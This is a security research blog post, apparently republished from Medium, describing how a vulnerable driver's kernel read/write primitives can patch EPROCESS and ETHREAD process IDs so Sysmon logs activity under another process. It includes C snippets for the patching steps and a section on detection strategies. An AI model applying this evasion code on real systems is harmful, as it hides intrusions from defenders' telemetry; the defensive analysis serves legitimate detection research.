core-jmp core-jmpdeath of core jump

Process ID Mutation via BYOVD: Evading Sysmon Telemetry Through Kernel Exploitation

Explore a sophisticated kernel-level technique that mutates process identity structures to evade Sysmon telemetry. This research demonstrates how patching EPROCESS.UniqueProcessId and ETHREAD.Cid fields enables complete false attribution of system activity, bypassing traditional EDR detection.

oxfemale August 28, 2026 8 min read 89 reads
Export PDF
Process ID Mutation via BYOVD: Evading Sysmon Telemetry Through Kernel Exploitation
Original text: “Process ID Mutation via BYOVD”s12deff, Medium. Code blocks and figures below are reproduced verbatim with attribution captions.

Executive Summary

This article reveals a sophisticated kernel-level evasion technique that exploits Windows process identity architecture to achieve complete false attribution in Sysmon telemetry. By mutating EPROCESS.UniqueProcessId and all ETHREAD.Cid.UniqueProcess fields, attackers can attribute their activity to any running process while bypassing detection. Because Sysmon reads process identity from ETHREAD.Cid rather than EPROCESS, the discrepancy creates a convincing false process tree with forged relationships, file writes, network connections, and registry modifications — all appearing to originate from a legitimate process.

The technique successfully defeats detection systems relying solely on ETHREAD.Cid, though tier-1 EDRs cross-referencing multiple identity sources may detect the inconsistency. This research exposes critical blind spots in current telemetry collection and demonstrates the importance of validating process identity across multiple kernel data structures.

Introduction: Windows Process Identity Architecture

This research began as pure curiosity about Windows kernel structures. What happens if you patch EPROCESS.UniqueProcessId at runtime? The answer became a practical technique far more impactful than expected. By mutating both the primary process ID field and all thread-level process ID copies, you can make Sysmon attribute activity to any target process. The resulting telemetry does not merely show the wrong PID; it resolves the wrong executable path, wrong parent process, and constructs an entirely false forensic timeline.

Windows maintains process identity across three independent data structures, each serving different purposes and each vulnerable to mutation:

Process ID Mutation technique overview
EPROCESS and ETHREAD structures targeted by PID mutation. Source: original article.

Process Identity Sources

  • EPROCESS.UniqueProcessId: The PID field inside the kernel’s process object, seen by tools walking PsActiveProcessLinks.
  • PspCidTable: A kernel handle table indexed by PID/4, the authoritative source that the kernel uses. NtOpenProcess, handle operations, and kernel callbacks use this. Not touched during this technique, but the best target for detection and mitigation.
  • ETHREAD.Cid.UniqueProcess: Each thread carries its own process ID copy in CLIENT_ID.UniqueProcess. ETW, minifilter callbacks, and Sysmon’s driver read from here, not directly from EPROCESS.

The critical insight: these three sources are independent. Patching one does not automatically update the others, and Sysmon reads from a source that can be mutated without affecting the kernel’s own identity lookup.

Implementation: Step-by-Step Mutation Technique

Step 1: Locate Your EPROCESS Structure

Use a kernel read primitive (via BYOVD in this PoC) to walk PsActiveProcessLinks starting from PsInitialSystemProcess (PID 4) until you find your own process by matching EPROCESS.UniqueProcessId:

DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;
DWORD64 systemEPROCESS = 0;
ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
// Walk PsActiveProcessLinks until PID matches
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
// ...

Step 2: Patch EPROCESS.UniqueProcessId

Write directly to the PID field with your target PID (a running Notepad instance, for example):

DWORD64 newValue = targetPid;
WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),
    &newValue, sizeof(newValue));

At this point, tools walking PsActiveProcessLinks see the mutated PID. But Sysmon still reports the real PID because it reads from ETHREAD.Cid, which you have not yet patched.

Step 3: Patch All ETHREAD.Cid.UniqueProcess Fields (Critical)

This is the critical step. Walk EPROCESS.ThreadListHead and for each ETHREAD, overwrite Cid.UniqueProcess with the target PID:

void MutateAllThreadCids(HANDLE drv, DWORD64 eprocess, DWORD64 newPid) {
    DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;
    DWORD64 currentFlink = 0;
    ReadPrimitive(drv, ¤tFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));
    DWORD64 current = currentFlink;
    int count = 0;
    while (current != headAddr && count < 1000) {
        count++;
        DWORD64 ethread = current - g_offsets.ThreadListEntry;
        WritePrimitive(drv, (LPVOID)(uintptr_t)(ethread + g_offsets.Cid),
            &newPid, sizeof(DWORD64));
        DWORD64 nextFlink = 0;
        ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
        current = nextFlink;
    }
}

CLIENT_ID.UniqueProcess is at offset 0 of the Cid field, so writing to ethread + g_offsets.Cid patches exactly the right location.

Step 4: Restore Before Exit (Avoid Orphaned Events)

To avoid an orphaned Event ID 1 (a process created but never terminated), restore the original PID before the process exits:

void RestorePID(HANDLE drv, DWORD64 eprocess, DWORD originalPid) {
    DWORD64 restorePid = (DWORD64)originalPid;
    WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),
        &restorePid, sizeof(restorePid));
    // Also restore all ETHREAD.Cid fields...
}

Dynamic Offset Resolution via DbgHelp

Offsets are resolved dynamically using DbgHelp symbol resolution, ensuring cross-version compatibility without hardcoded values. The implementation downloads the matching PDB from Microsoft’s symbol server, validates it against the kernel’s debug information, and uses DbgHelp to resolve EPROCESS and ETHREAD field offsets:

out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
out.ThreadListHead = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ThreadListHead");
out.ThreadListEntry = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "ThreadListEntry");
out.Cid = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "Cid");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");

Proof of Concept: Sysmon Event Log Analysis

The proof-of-concept demonstrates the technique by creating file activity, spawning a child process (cmd.exe), and generating DNS queries while running under an arbitrary target process (Notepad.exe). Sysmon then logs all events attributed to Notepad instead of the actual attacker process.

File Creation Event (Sysmon Event 11)

Sysmon Event 11 File Create
Sysmon Event 11 showing file creation falsely attributed to the target process. Source: original article.

DNS Query Event (Sysmon Event 22)

Sysmon Event 22 DNS Query
Sysmon Event 22 showing DNS query falsely attributed to the target process. Source: original article.

Child Process Creation Event (Sysmon Event 1)

Sysmon Event 1 Child Process
Sysmon Event 1 showing child process creation with false parent attribution. Source: original article.

Complete False Timeline

A Sysmon analyst investigating this activity would see the following false timeline, with no trace of the actual attacker process:

[Event 1]  Notepad.exe    PID 4200  started (legitimate)
[Event 11] Notepad.exe    PID 4200  wrote C:\\Temp\\sysmon_test.txt
[Event 1]  cmd.exe        PID 9920  started, parent: Notepad.exe
[Event 5]  cmd.exe        PID 9920  terminated
[Event 22] Notepad.exe    PID 4200  queried example.com
[Event 5]  Notepad.exe    PID 4200  terminated

Actual attacker process: PIDMutation.exe does not appear anywhere in this timeline

Key Takeaways

  • Process identity is fragmented: Windows maintains process ID in multiple independent locations (EPROCESS, PspCidTable, ETHREAD.Cid), each used by different kernel subsystems and monitoring tools.
  • Sysmon reads from the thread: Event log entries depend on ETHREAD.Cid, not the primary EPROCESS.UniqueProcessId, making them vulnerable to selective mutation.
  • False attribution is complete: The mutated telemetry resolves correct parent process, executable path, and command line for the spoofed PID, creating a forensically convincing false timeline.
  • Kernel primitives enable exploitation: BYOVD (Bring Your Own Vulnerable Driver) provides the read/write primitives necessary to access kernel memory from user mode.
  • Dynamic offsets cross Windows versions: Using DbgHelp symbol resolution makes this technique portable across Windows builds without hardcoded offsets.
  • PspCidTable divergence is detectable: Advanced EDRs that validate consistency between ETHREAD.Cid and PspCidTable can potentially detect this inconsistency, though practical implementations are rare.
  • Research value exceeds exploitation risk: Understanding these identity mechanisms is critical for both offensive research and building better detection systems.

Defensive Implications and Detection Strategies

Defending against PID mutation requires validating process identity across multiple independent sources rather than trusting a single telemetry stream:

  • Cross-validate identity sources: Compare ETHREAD.Cid against both EPROCESS.UniqueProcessId and PspCidTable lookups. Divergence indicates mutation.
  • Monitor kernel driver loading: BYOVD attacks require vulnerable drivers. Detection of unsigned or suspicious driver loading can block the exploitation path.
  • Validate parent-child relationships: False process trees should trigger alerts, especially when a parent process creates children inconsistent with its known behavior.
  • Use kernel-level callbacks: ETW process callbacks can be configured to validate identity across multiple sources before logging events.
  • Inspect PspCidTable directly: Tools that directly query PspCidTable for process resolution remain unaffected by ETHREAD.Cid mutation, providing ground truth.
  • Correlate with file/registry/network artifacts: Compare attributes (executable path, working directory, permissions) between Sysmon telemetry and direct kernel queries.
  • Hunt for BYOVD exploits: Detecting the vulnerable driver used (via driver signature, load order, or memory artifacts) interrupts the entire attack chain before PID mutation occurs.

Remaining Indicators of Compromise

While PID mutation effectively spoofs Sysmon telemetry, several indicators persist:

  • ETHREAD.Cid vs PspCidTable divergence: EDRs with their own kernel callbacks that cross-reference ETHREAD.Cid against PspCidTable can detect the inconsistency. Tier-1 EDRs likely implement this validation.
  • Behavioral anomalies: The target process’s behavior pattern (file locations, network destinations, registry operations) will diverge from its normal baseline.
  • Vulnerable driver presence: BYOVD exploitation leaves the vulnerable driver loaded and accessible, detectable via driver auditing.
  • Memory artifacts: A forensic memory dump reveals the discrepancy between structures, showing which process was actually running.
  • Process creation artifact inconsistency: The false parent may not have access to create the child, or the child’s working directory may contradict its logged parent.

Conclusions

What began as curiosity about kernel structures evolved into a practical technique revealing significant gaps in process telemetry. Sysmon’s attribution relies on ETHREAD.Cid, which is independent of both EPROCESS.UniqueProcessId and PspCidTable—the very structures the kernel uses internally. This divergence, while providing performance benefits, creates a security blind spot that can be exploited.

The research demonstrates that process identity validation must span multiple kernel data structures, not trust a single telemetry source. For defenders, the implications are clear: enhanced monitoring must include kernel callbacks that validate consistency across identity sources, and PspCidTable lookups provide ground truth that should anchor forensic analysis.

This proof-of-concept is a research project for understanding detection gaps, not a production tool. The technique’s effectiveness depends entirely on having kernel write primitives, which restricts its applicability but underscores the critical need to address BYOVD exploitation vectors.

Original text: “Process ID Mutation via BYOVD” by s12deff at Medium.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion